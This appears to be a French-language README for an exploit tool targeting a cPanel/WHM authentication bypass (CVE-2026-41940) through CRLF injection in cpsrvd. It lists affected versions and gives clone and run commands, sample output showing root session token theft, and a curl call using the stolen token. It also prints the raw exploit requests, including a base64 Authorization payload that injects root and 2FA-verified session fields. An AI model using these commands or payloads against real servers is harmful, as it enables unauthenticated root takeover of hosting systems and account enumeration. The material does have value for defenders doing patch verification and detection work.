
Exploit critique de contournement d'authentification pour cPanel/WHM CVE-2026-41940. Exploite l'injection CRLF dans le démon cpsrvd pour obtenir un accès root WHM sans identifiants. Inclut la détection de version, une journalisation verbose, le support des proxys, le rapport JSON et l'énumération de comptes post-exploitation. Réservé aux tests de sécurité autorisés.
Contournement critique de l'authentification par injection CRLF dans le démon cpsrvd de cPanel/WHM
CVE-2026-41940 est une vulnérabilité critique de contournement d'authentification dans cPanel & WHM qui permet à des attaquants distants non authentifiés d'obtenir un accès administratif de niveau root au serveur. La vulnérabilité existe dans la gestion des sessions du démon
cpsrvd, plus précisément dansCpanel/Session.pm, où la neutralisation inappropriée des délimiteurs de ligne (CRLF) dans le cookiewhostmgrsessionet les en-têtesAuthorizationpermet l'injection de paramètres de session.
| Score CVSS | Type d'exploit | Impact | Vecteur d'attaque |
|---|---|---|---|
| 9.8 | Contournement d'authentification | Accès root | Réseau |
Cet outil d'exploitation offre les fonctionnalités clés suivantes :
🔓 Contournement d'authentification - Obtenir un accès WHM root sans identifiants
🛡️ Techniques de contournement multiples - Essaie automatiquement différentes méthodes de vérification
🌐 Prise en charge des proxys - Achemine le trafic via des proxys HTTP/HTTPS
📊 Rapports JSON - Génère des rapports d'évaluation détaillés
📝 Journalisation complète - Mode débogage verbeux avec horodatages
🔍 Détection de version - Détecte et vérifie automatiquement les versions vulnérables
👥 Énumération des comptes - Liste tous les comptes cPanel après exploitation
🎯 Points de terminaison multiples - Essaie divers points de terminaison API pour la vérification
| Attribut | Valeur |
|---|---|
| ID CVE | CVE-2026-41940 |
| Score CVSS | 9.8 (Critique) |
| Type de vulnérabilité | Contournement d'authentification par injection CRLF |
| Composant affecté | Démon cpsrvd (Cpanel/Session.pm) |
| Vecteur d'attaque | Réseau |
| Impact | Accès root complet |
| Exploitation | À distance, sans authentification |
La vulnérabilité provient de deux problèmes principaux :
Injection CRLF dans le stockage de session - La fonction saveSession ne parvient pas à neutraliser les caractères de nouvelle ligne (\n) dans le champ pass avant de l'écrire dans le fichier de session, ce qui permet l'injection de paramètres de session arbitraires.
Contournement du codage conditionnel - Lorsque le cookie de session ne contient pas la partie ob (le segment après la virgule), la valeur pass est écrite sans codage (en clair), ce qui permet l'injection de séquences CRLF.
| Canal de publication | Vulnérable jusqu'à | Version corrigée |
|---|---|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
| Argument | Court | Requis | Description |
|---|---|---|---|
--target | -t | ✅ | URL cible (par ex., https://target.com:2087 ) |
--verbose | -v | ❌ | Activer la sortie verbeuse/débogage |
--proxy | -p | ❌ | URL du proxy (par ex., http://127.0.0.1:8080 ) |
--output | -o | ❌ | Fichier de sortie pour le rapport JSON |
--timeout | ❌ | Délai d'expiration des requêtes en secondes (défaut : 10) | |
--list-accounts | -l | ❌ | Lister les comptes cPanel après exploitation réussie |
--version | ❌ | Afficher la version de l'exploit |
L'exploit obtient d'abord un cookie de session pré-authentification en tentant une connexion échouée :
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
Réponse :
Set-Cookie: whostmgrsession=base64_encoded_data
L'en-tête Authorization conçu injecte des paramètres de session malveillants :
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]